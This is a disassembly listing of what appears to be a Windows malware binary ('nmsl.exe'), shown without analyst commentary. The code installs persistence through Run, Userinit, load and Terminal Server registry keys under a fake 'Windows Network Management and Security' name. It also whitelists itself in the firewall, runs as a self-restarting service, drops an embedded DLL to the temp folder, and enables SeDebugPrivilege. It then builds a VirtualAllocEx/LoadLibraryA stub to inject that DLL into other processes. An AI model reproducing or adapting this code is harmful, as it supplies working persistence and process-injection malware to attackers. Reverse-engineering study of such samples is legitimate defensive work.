		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_446D9F
		mov	[ebp+var_2000],	0


loc_446D9F:				; CODE XREF: sub_446D40+56j
		push	dword_4128A8
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aStartupprogram ; "StartupPrograms"
		push	offset aSystemCurren_1 ; "System\\CurrentControlSet\\Control\\Termin"...
		push	80000002h
		call	sub_446B33
		add	esp, 10h


loc_446DD1:				; CODE XREF: sub_446D40+2Dj
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_446D40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446DD6	proc near		; CODE XREF: sub_446F6F+7Dp

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_448F2B
		push	ebx
		push	esi
		push	dword_4128A8
		push	offset aUserinit ; "Userinit"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_446C91
		add	esp, 10h
		test	eax, eax
		jnz	loc_446EA8
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aUserinit ; "Userinit"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_446BDA
		add	esp, 14h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_446E3A
		mov	[ebp+var_2000],	0


loc_446E3A:				; CODE XREF: sub_446DD6+5Bj
		cmp	[ebp+var_2000],	0
		jz	short loc_446E5F
		lea	esi, [ebp+var_2000]
		jmp	short loc_446E4C
; ---------------------------------------------------------------------------


loc_446E4B:				; CODE XREF: sub_446DD6+79j
		inc	esi


loc_446E4C:				; CODE XREF: sub_446DD6+73j
		cmp	byte ptr [esi],	0
		jnz	short loc_446E4B
		dec	esi
		cmp	byte ptr [esi],	2Ch
		jz	short loc_446E5F
		inc	esi
		mov	byte ptr [esi],	2Ch
		inc	esi
		mov	byte ptr [esi],	0


loc_446E5F:				; CODE XREF: sub_446DD6+6Bj
					; sub_446DD6+7Fj
		push	dword_4128A8
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		test	ebx, ebx
		jnz	short loc_446E8A
		push	offset asc_40E73C ; ","
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx


loc_446E8A:				; CODE XREF: sub_446DD6+9Fj
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aUserinit ; "Userinit"
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_446B33
		add	esp, 10h


loc_446EA8:				; CODE XREF: sub_446DD6+2Ej
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_446DD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446EAE	proc near		; CODE XREF: sub_446F6F+82p

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_448F2B
		push	ebx
		push	esi
		push	dword_4128A8
		push	offset aLoad	; "load"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_446C91
		add	esp, 10h
		test	eax, eax
		jnz	loc_446F69
		push	2000h
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aLoad	; "load"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_446BDA
		add	esp, 14h
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_446F12
		mov	[ebp+var_2000],	0


loc_446F12:				; CODE XREF: sub_446EAE+5Bj
		cmp	[ebp+var_2000],	0
		jz	short loc_446F37
		lea	esi, [ebp+var_2000]
		jmp	short loc_446F24
; ---------------------------------------------------------------------------


loc_446F23:				; CODE XREF: sub_446EAE+79j
		inc	esi


loc_446F24:				; CODE XREF: sub_446EAE+73j
		cmp	byte ptr [esi],	0
		jnz	short loc_446F23
		dec	esi
		cmp	byte ptr [esi],	2Ch
		jz	short loc_446F37
		inc	esi
		mov	byte ptr [esi],	2Ch
		inc	esi
		mov	byte ptr [esi],	0


loc_446F37:				; CODE XREF: sub_446EAE+6Bj
					; sub_446EAE+7Fj
		push	dword_4128A8
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aLoad	; "load"
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	sub_446B33
		add	esp, 10h


loc_446F69:				; CODE XREF: sub_446EAE+2Ej
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_446EAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446F6F	proc near		; CODE XREF: sub_447EEC+557p

var_2000	= byte ptr -2000h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_448F2B
		push	1
		push	offset asc_40E700 ; "*"
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_446CE3
		add	esp, 10h
		push	offset aWritingToHklmA ; "writing to HKLM/autorun key...\n"
		call	nullsub_4
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aWindowsNetwork ; "Windows Network Management and Security"...
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000002h
		call	sub_446B33
		add	esp, 10h
		push	offset aWritingToHkcuA ; "writing to HKCU/autorun key...\n"
		call	nullsub_4
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	offset aWindowsNetwork ; "Windows Network Management and Security"...
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\Windows\\CurrentVersi"...
		push	80000001h
		call	sub_446B33
		add	esp, 10h
		call	sub_446D40
		call	sub_446DD6
		call	sub_446EAE
		mov	esp, ebp
		pop	ebp
		retn
sub_446F6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446FFA	proc near		; CODE XREF: sub_447EEC+236p

var_2000	= byte ptr -2000h

		push	ebp
		mov	ebp, esp
		mov	eax, 2000h
		call	sub_448F2B
		mov	[ebp+var_2000],	0
		push	dword_4128A8
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		push	offset aEnabled	; ":*:Enabled:"
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		push	offset aWindowsNetwork ; "Windows Network Management and Security"...
		lea	eax, [ebp+var_2000]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2000]
		push	eax
		push	dword_4128A8
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Share"...
		push	80000002h
		call	sub_446B33
		add	esp, 10h
		mov	esp, ebp
		pop	ebp
		retn
sub_446FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_44706B	proc near		; CODE XREF: DMN1:00447289p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	14h
		push	40h
		call	dword_411CE4	; LocalAlloc
		mov	[ebp+var_10], eax
		push	1
		push	[ebp+var_10]
		call	dword_411E3C	; InitializeSecurityDescriptor
		push	0
		push	0
		push	1
		push	[ebp+var_10]
		call	dword_411E40	; SetSecurityDescriptorDacl
		mov	[ebp+var_C], 0Ch
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 1
		push	offset a1ea9b031C3014f ; "{1EA9B031-C301-4F76-805F-A41ECF9ED164}"
		push	0
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_411D44	; CreateEventA
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4470D5
		push	offset aEventCreated_ ;	"EVENT CREATED.\n"
		call	sub_448A5B
		pop	ecx
		jmp	short loc_4470E8
; ---------------------------------------------------------------------------


loc_4470D5:				; CODE XREF: sub_44706B+5Bj
		call	dword_411CEC	; RtlGetLastWin32Error
		push	eax
		push	offset aEventCreatonEr ; "EVENT	CREATON	ERROR: %i\n"
		call	sub_448A5B
		pop	ecx
		pop	ecx


loc_4470E8:				; CODE XREF: sub_44706B+68j
		push	0
		push	0
		push	offset sub_405F73
		call	sub_44910B
		add	esp, 0Ch
		push	eax
		call	dword_411CFC	; CloseHandle
		push	0
		push	0
		push	offset sub_406A07
		call	sub_44910B
		add	esp, 0Ch
		mov	esi, eax


loc_447113:				; CODE XREF: sub_44706B:loc_447162j
		test	ebx, ebx
		jz	short loc_44714D
		push	offset aWaitingForStop ; "WAITING FOR STOP EVENT!\n"
		call	sub_448A5B
		pop	ecx
		mov	[ebp+var_18], esi
		mov	[ebp+var_14], ebx
		push	0FFFFFFFFh
		push	0
		lea	eax, [ebp+var_18]
		push	eax
		push	2
		call	dword_411D4C	; WaitForMultipleObjects
		mov	edi, eax
		test	edi, edi
		jz	short loc_447143
		cmp	edi, 1
		jnz	short loc_447162


loc_447143:				; CODE XREF: sub_44706B+D1j
		push	1
		call	sub_4491DB
		pop	ecx
		jmp	short loc_447162
; ---------------------------------------------------------------------------


loc_44714D:				; CODE XREF: sub_44706B+AAj
		push	0FFFFFFFFh
		push	esi
		call	dword_411D38	; WaitForSingleObject
		test	eax, eax
		jnz	short loc_447162
		push	1
		call	sub_4491DB
		pop	ecx


loc_447162:				; CODE XREF: sub_44706B+D6j
					; sub_44706B+E0j ...
		jmp	short loc_447113
sub_44706B	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		cmp	eax, 3
		jz	short loc_447180
		cmp	eax, 4
		jz	short loc_44719D
		cmp	eax, 5
		jz	short loc_4471B0
		jmp	short locret_4471D3
; ---------------------------------------------------------------------------


loc_447180:				; CODE XREF: DMN1:00447172j
		mov	dword_412940, 4
		push	offset dword_41293C
		push	dword_412958
		call	dword_411E70	; SetServiceStatus
		jmp	short locret_4471D3
; ---------------------------------------------------------------------------


loc_44719D:				; CODE XREF: DMN1:00447177j
		push	offset dword_41293C
		push	dword_412958
		call	dword_411E70	; SetServiceStatus
		jmp	short locret_4471D3
; ---------------------------------------------------------------------------


loc_4471B0:				; CODE XREF: DMN1:0044717Cj
		mov	dword_412940, 1
		push	offset dword_41293C
		push	dword_412958
		call	dword_411E70	; SetServiceStatus
		push	1
		call	sub_4491DB
		pop	ecx

locret_4471D3:				; CODE XREF: DMN1:0044717Ej
					; DMN1:0044719Bj ...
		retn	4
; ---------------------------------------------------------------------------
		push	offset aServicectrldis ; "ServiceCtrlDispatcher()\n"
		call	sub_448A5B
		pop	ecx
		push	offset loc_405D00
		push	off_41295C
		call	dword_411E74	; RegisterServiceCtrlHandlerA
		mov	dword_412958, eax
		cmp	dword_412958, 0
		jz	loc_4472B6
		push	1
		push	offset dword_411048
		call	dword_411D08	; InterlockedExchange
		push	1Ch
		push	0
		push	offset dword_41293C
		call	sub_448DCB
		add	esp, 0Ch
		mov	dword_41293C, 110h
		mov	dword_412940, 2
		and	dword_412944, 0
		mov	dword_412954, 9C4h
		push	offset aSetservicestat ; "SetServiceStatus(): start pending\n"
		call	sub_448A5B
		pop	ecx
		push	offset dword_41293C
		push	dword_412958
		call	dword_411E70	; SetServiceStatus
		mov	dword_412940, 4
		push	offset aSetservicest_0 ; "SetServiceStatus(): running\n"
		call	sub_448A5B
		pop	ecx
		push	offset dword_41293C
		push	dword_412958
		call	dword_411E70	; SetServiceStatus
		call	sub_44706B
; ---------------------------------------------------------------------------
		mov	dword_412940, 1
		push	offset aSetservicest_1 ; "SetServiceStatus(): stopped\n"
		call	sub_448A5B
		pop	ecx
		push	offset dword_41293C
		push	dword_412958
		call	dword_411E70	; SetServiceStatus
		jmp	short locret_4472C1
; ---------------------------------------------------------------------------


loc_4472B6:				; CODE XREF: DMN1:004471FEj
		push	offset aRegisterservic ; "RegisterServiceCtrlHandler() failed %-("...
		call	sub_448A5B
		pop	ecx

locret_4472C1:				; CODE XREF: DMN1:004472B4j
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_4472C4	proc near		; CODE XREF: DMN1:0044730Ap
					; sub_447EEC+532p
		push	ebx
		call	sub_445579
		test	eax, eax
		jz	short loc_4472D2
		xor	eax, eax
		jmp	short loc_447308
; ---------------------------------------------------------------------------


loc_4472D2:				; CODE XREF: sub_4472C4+8j
		mov	eax, off_41295C
		mov	dword_412960, eax
		mov	dword_412964, offset loc_405D6B
		and	dword_412968, 0
		and	dword_41296C, 0
		push	offset dword_412960
		call	dword_411E78	; StartServiceCtrlDispatcherA
		mov	ebx, eax
		call	sub_4455CD
		mov	eax, ebx


loc_447308:				; CODE XREF: sub_4472C4+Cj
		pop	ebx
		retn
sub_4472C4	endp

; ---------------------------------------------------------------------------
		call	sub_4472C4
		call	sub_44919B
		retn
; ---------------------------------------------------------------------------
		call	sub_446651
		mov	dword_411044, eax
		call	sub_44919B
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_447325	proc near		; CODE XREF: DMN1:00447442p
					; sub_447EEC+1F7p

var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_844		= byte ptr -844h
var_44		= dword	ptr -44h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	44h
		push	0
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_448DCB
		add	esp, 0Ch
		mov	[ebp+var_44], 44h
		push	offset asc_40EDC3 ; "\""
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_448E6B
		pop	ecx
		pop	ecx
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		push	offset asc_40E5AE ; "\"	"
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_447395
		push	[ebp+arg_0]
		lea	eax, [ebp+var_844]
		push	eax
		call	sub_448E8B
		pop	ecx
		pop	ecx


loc_447395:				; CODE XREF: sub_447325+5Dj
		lea	eax, [ebp+var_854]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_844]
		push	eax
		push	0
		call	dword_411D14	; CreateProcessA
		test	eax, eax
		jz	short loc_4473DA
		push	[ebp+var_850]
		call	dword_411CFC	; CloseHandle
		push	[ebp+var_854]
		call	dword_411CFC	; CloseHandle
		xor	eax, eax
		inc	eax


loc_4473DA:				; CODE XREF: sub_447325+98j
		mov	esp, ebp
		pop	ebp
		retn
sub_447325	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	offset aServicefixerth ; "ServiceFixerThread started.\n"
		call	nullsub_4
		pop	ecx


loc_4473EB:				; CODE XREF: DMN1:loc_447473j
		xor	ebx, ebx
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe"
		call	dword_411D50	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_447468
		call	sub_4464B3
		test	eax, eax
		jz	short loc_447427
		call	sub_4468AC
		test	eax, eax
		jnz	short loc_447416
		call	sub_446982


loc_447416:				; CODE XREF: DMN1:0044740Fj
		call	sub_446603
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_447434
		xor	ebx, ebx
		inc	ebx
		jmp	short loc_447434
; ---------------------------------------------------------------------------


loc_447427:				; CODE XREF: DMN1:00447406j
		call	sub_446725
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_447434
		xor	ebx, ebx
		inc	ebx


loc_447434:				; CODE XREF: DMN1:00447420j
					; DMN1:00447425j ...
		test	ebx, ebx
		jz	short loc_44745B
		call	sub_4455CD
		push	offset asc_40E58E ; "**"
		call	sub_447325
		pop	ecx
		test	eax, eax
		jz	short loc_447454
		push	0
		call	sub_4491DB
		pop	ecx


loc_447454:				; CODE XREF: DMN1:0044744Aj
		call	sub_445579
		jmp	short loc_447473
; ---------------------------------------------------------------------------


loc_44745B:				; CODE XREF: DMN1:00447436j
		push	1F4h
		call	dword_411D04	; Sleep
		jmp	short loc_447473
; ---------------------------------------------------------------------------


loc_447468:				; CODE XREF: DMN1:004473FDj
		push	2710h
		call	dword_411D04	; Sleep


loc_447473:				; CODE XREF: DMN1:00447459j
					; DMN1:00447466j
		jmp	loc_4473EB
; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	ebx
		push	esi
		mov	eax, [ebp+8]
		mov	esi, eax
		push	dword_412970
		call	dword_411D54	; ResetEvent


loc_447492:				; CODE XREF: DMN1:004474C6j
		mov	byte ptr [ebp-1], 0
		push	1
		lea	eax, [ebp-1]
		push	eax
		push	esi
		call	sub_442B47
		add	esp, 0Ch
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_4474C8
		cmp	byte ptr [ebp-1], 2Ah
		jnz	short loc_4474C8
		push	1
		lea	eax, [ebp-1]
		push	eax
		push	esi
		call	sub_442BF2
		add	esp, 0Ch
		mov	ebx, eax
		test	ebx, ebx
		jle	short loc_4474C8
		jmp	short loc_447492
; ---------------------------------------------------------------------------


loc_4474C8:				; CODE XREF: DMN1:004474A9j
					; DMN1:004474AFj ...
		push	esi
		call	sub_44292D
		pop	ecx
		push	offset aDlltestthreadP ; "DLLTestThread: pulsing...\n"
		call	nullsub_4
		pop	ecx
		push	dword_412970
		call	dword_411D48	; SetEvent
		call	sub_44919B
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		call	sub_4427C4
		mov	dword_411050, eax
		push	offset aDlltestlistent ; "DLLTestListenThread: binding...\n"
		call	nullsub_4
		pop	ecx
		push	0BB8h
		push	100007Fh
		push	dword_411050
		call	sub_442A22
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_447591
		push	offset aDlltestliste_0 ; "DLLTestListenThread: listening...\n"
		call	nullsub_4
		pop	ecx
		push	dword_411050
		call	sub_442A72
		pop	ecx
		test	eax, eax
		jz	short loc_447591
		push	offset aDlltestliste_1 ; "DLLTestListenThread: accepting...\n"
		call	nullsub_4
		pop	ecx
		push	dword_411050
		call	sub_442A8C
		pop	ecx
		mov	[ebp-4], eax
		test	eax, eax
		jz	short loc_447591
		mov	eax, [ebp-4]
		push	eax
		push	0
		push	offset sub_406010
		call	sub_44910B
		add	esp, 0Ch
		mov	[ebp-8], eax
		push	eax
		call	dword_411CFC	; CloseHandle
		push	dword_411050
		call	sub_44292D
		pop	ecx
		and	dword_411050, 0


loc_447591:				; CODE XREF: DMN1:00447526j
					; DMN1:00447541j ...
		cmp	dword_411050, 0
		jz	short loc_4475A6
		push	dword_411050
		call	sub_44292D
		pop	ecx


loc_4475A6:				; CODE XREF: DMN1:00447598j
		push	offset aDlltestliste_2 ; "DLLTestListenThread: done...\n"
		call	nullsub_4
		pop	ecx
		call	sub_44919B
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4475BA	proc near		; CODE XREF: sub_447B78+14p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	ebx, [esp+8+arg_0]
		mov	esi, [ebx]
		jmp	short loc_4475CC
; ---------------------------------------------------------------------------


loc_4475C4:				; CODE XREF: sub_4475BA+14j
		call	dword_411CC8	; GetTickCount
		mov	esi, eax


loc_4475CC:				; CODE XREF: sub_4475BA+8j
		test	esi, esi
		jz	short loc_4475C4
		mov	eax, esi
		mov	edx, 41C64E6Dh
		mul	edx
		lea	esi, [eax+3039h]
		mov	[ebx], esi
		mov	eax, esi
		shr	eax, 10h
		and	eax, 7FFFh
		pop	esi
		pop	ebx
		retn
sub_4475BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4475EE	proc near		; CODE XREF: sub_4476F9+9Ep
					; sub_4476F9+109p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		cmp	dword_411058, 0
		jz	short loc_447616
		push	dword_411058
		call	dword_411CFC	; CloseHandle
		and	dword_411058, 0


loc_447616:				; CODE XREF: sub_4475EE+13j
		push	0Ah
		push	offset a8001	; "#8001"
		push	0
		call	dword_411D58	; FindResourceA
		mov	esi, eax
		test	eax, eax
		jz	loc_4476F2
		push	esi
		push	0
		call	dword_411D5C	; SizeofResource
		mov	[ebp+var_4], eax
		push	[ebp+var_4]
		push	offset aResourceHereSi ; "resource here, size: %i\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	esi
		push	0
		call	dword_411D60	; LoadResource
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	loc_4476F2
		push	[ebp+var_8]
		call	dword_411D64	; LockResource
		mov	[ebp+var_C], eax
		test	eax, eax
		jz	loc_4476F2
		push	80h
		push	ebx
		call	dword_411D2C	; SetFileAttributesA
		push	offset aWb	; "wb+"
		push	ebx
		call	sub_448AFB
		pop	ecx
		pop	ecx
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4476A2
		push	ebx
		push	offset aFileSNotCreate ; "file <%s> NOT	created\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_4476F2
; ---------------------------------------------------------------------------


loc_4476A2:				; CODE XREF: sub_4475EE+A1j
		push	ebx
		push	offset aFileSCreated ; "file <%s> created\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	edi
		push	1
		mov	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_C]
		call	sub_448F5B
		add	esp, 10h
		mov	[ebp+var_10], eax
		push	edi
		call	sub_448D5B
		pop	ecx
		push	[ebp+var_10]
		push	ebx
		push	offset aFileSWrittenWs ; "file <%s> written, wsz=%i\n"
		call	nullsub_4
		add	esp, 0Ch
		push	7
		push	ebx
		call	dword_411D2C	; SetFileAttributesA
		cmp	[ebp+var_10], 1
		jz	short loc_4476EF
		xor	eax, eax
		jmp	short loc_4476F2
; ---------------------------------------------------------------------------


loc_4476EF:				; CODE XREF: sub_4475EE+FBj
		xor	eax, eax
		inc	eax


loc_4476F2:				; CODE XREF: sub_4475EE+3Bj
					; sub_4475EE+6Aj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4475EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4476F9	proc near		; CODE XREF: DMN1:loc_447D4Cp

var_1004	= dword	ptr -1004h
var_1000	= byte ptr -1000h

		push	ebp
		mov	ebp, esp
		mov	eax, 1004h
		call	sub_448F2B
		cmp	dword_411054, 0
		jz	short loc_44774F
		push	offset aR	; "r"
		push	offset dword_412974
		call	sub_448AFB
		pop	ecx
		pop	ecx
		mov	[ebp+var_1004],	eax
		test	eax, eax
		jz	short loc_44774F
		push	offset dword_412974
		push	offset aOldDllS	; "old DLL: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	[ebp+var_1004]
		call	sub_448D5B
		pop	ecx
		xor	eax, eax
		inc	eax
		jmp	loc_447839
; ---------------------------------------------------------------------------


loc_44774F:				; CODE XREF: sub_4476F9+14j
					; sub_4476F9+2Fj
		push	offset dword_412974
		push	0FFFh
		call	dword_411D20	; GetTempPathA
		push	offset aNmsl_	; "nmsl_"
		push	offset dword_412974
		call	sub_448E8B
		pop	ecx
		pop	ecx
		push	offset a000_tmp	; "000.tmp"
		push	offset dword_412974
		call	sub_448E8B
		pop	ecx
		pop	ecx
		push	offset dword_412974
		push	offset aCheckingDllS ; "checking DLL: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	offset dword_412974
		call	sub_4475EE
		pop	ecx
		test	eax, eax
		jz	short loc_4477C1
		push	offset dword_412974
		push	offset aDllFoundS ; " DLL found: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		mov	dword_411054, 1
		xor	eax, eax
		inc	eax
		jmp	short loc_447839
; ---------------------------------------------------------------------------


loc_4477C1:				; CODE XREF: sub_4476F9+A6j
		lea	eax, [ebp+var_1000]
		push	eax
		push	0FFFh
		call	dword_411D20	; GetTempPathA
		push	offset dword_412974
		push	0
		push	offset aNmsl_	; "nmsl_"
		lea	eax, [ebp+var_1000]
		push	eax
		call	dword_411D24	; GetTempFileNameA
		push	offset dword_412974
		push	offset aTryingDllS ; "trying DLL: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		push	offset dword_412974
		call	sub_4475EE
		pop	ecx
		test	eax, eax
		jz	short loc_44782C
		push	offset dword_412974
		push	offset aDllOkS	; "DLL ok: <%s>\n"
		call	nullsub_4
		pop	ecx
		pop	ecx
		mov	dword_411054, 1
		xor	eax, eax
		inc	eax
		jmp	short loc_447839
; ---------------------------------------------------------------------------


loc_44782C:				; CODE XREF: sub_4476F9+111j
		push	offset aDllNotExtracte ; "DLL not extracted.\n"
		call	nullsub_4
		pop	ecx
		xor	eax, eax


loc_447839:				; CODE XREF: sub_4476F9+51j
					; sub_4476F9+C6j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4476F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44783D	proc near		; CODE XREF: sub_4479E1+6p
					; sub_447AA9+12p ...

var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		push	0
		call	dword_411E7C	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_4478B3
		call	dword_411D68	; GetCurrentProcess
		lea	edx, [ebp+var_14]
		push	edx
		push	28h
		push	eax
		call	dword_411E80	; OpenProcessToken
		test	eax, eax
		jz	short loc_4478B3
		mov	[ebp+var_10], 1
		mov	eax, [ebp+var_1C]
		mov	edx, [ebp+var_18]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], 2
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	[ebp+var_14]
		call	dword_411E84	; AdjustTokenPrivileges
		call	dword_411CEC	; RtlGetLastWin32Error
		test	eax, eax
		jz	short loc_4478B0
		xor	eax, eax
		jmp	short loc_4478B3
; ---------------------------------------------------------------------------


loc_4478B0:				; CODE XREF: sub_44783D+6Dj
		xor	eax, eax
		inc	eax


loc_4478B3:				; CODE XREF: sub_44783D+19j
					; sub_44783D+30j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_44783D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4478B7	proc near		; CODE XREF: sub_4479E1+34p

var_1008	= byte ptr -1008h
var_1004	= byte ptr -1004h
var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1008h
		call	sub_448F2B
		push	ebx
		push	esi
		push	edi
		push	40h
		push	1000h
		push	1000h
		push	0
		push	[ebp+arg_0]
		call	dword_411D6C	; VirtualAllocEx
		mov	esi, eax
		test	eax, eax
		jz	loc_4479DA
		push	offset aVirtualallocex ; "VirtualAllocEx() ok\n"
		call	nullsub_4
		pop	ecx
		lea	ebx, [ebp+var_1000]
		mov	byte ptr [ebx],	68h
		inc	ebx
		mov	eax, esi
		add	eax, 50h
		mov	[ebx], eax
		add	ebx, 4
		mov	word ptr [ebx],	15FFh
		add	ebx, 2
		mov	eax, esi
		add	eax, 40h
		mov	[ebx], eax
		add	ebx, 4
		mov	byte ptr [ebx],	50h
		inc	ebx
		mov	word ptr [ebx],	15FFh
		add	ebx, 2
		mov	eax, esi
		add	eax, 44h
		mov	[ebx], eax
		push	offset aKernel32_dll ; "kernel32.dll"
		call	dword_411D70	; GetModuleHandleA
		mov	edi, eax
		lea	ebx, [ebp+var_1000]
		add	ebx, 40h
		push	offset aLoadlibrarya ; "LoadLibraryA"
		push	edi
		call	dword_411D74	; GetProcAddress
		mov	[ebx], eax
		add	ebx, 4
		push	offset aExitthread ; "ExitThread"
		push	edi
		call	dword_411D74	; GetProcAddress
		mov	[ebx], eax
		add	ebx, 4
		push	offset aGetlasterror ; "GetLastError"
		push	edi
		call	dword_411D74	; GetProcAddress
		mov	[ebx], eax
		lea	ebx, [ebp+var_1000]
		add	ebx, 50h
		push	[ebp+arg_4]
		push	ebx
		call	sub_448E6B
		pop	ecx
		pop	ecx
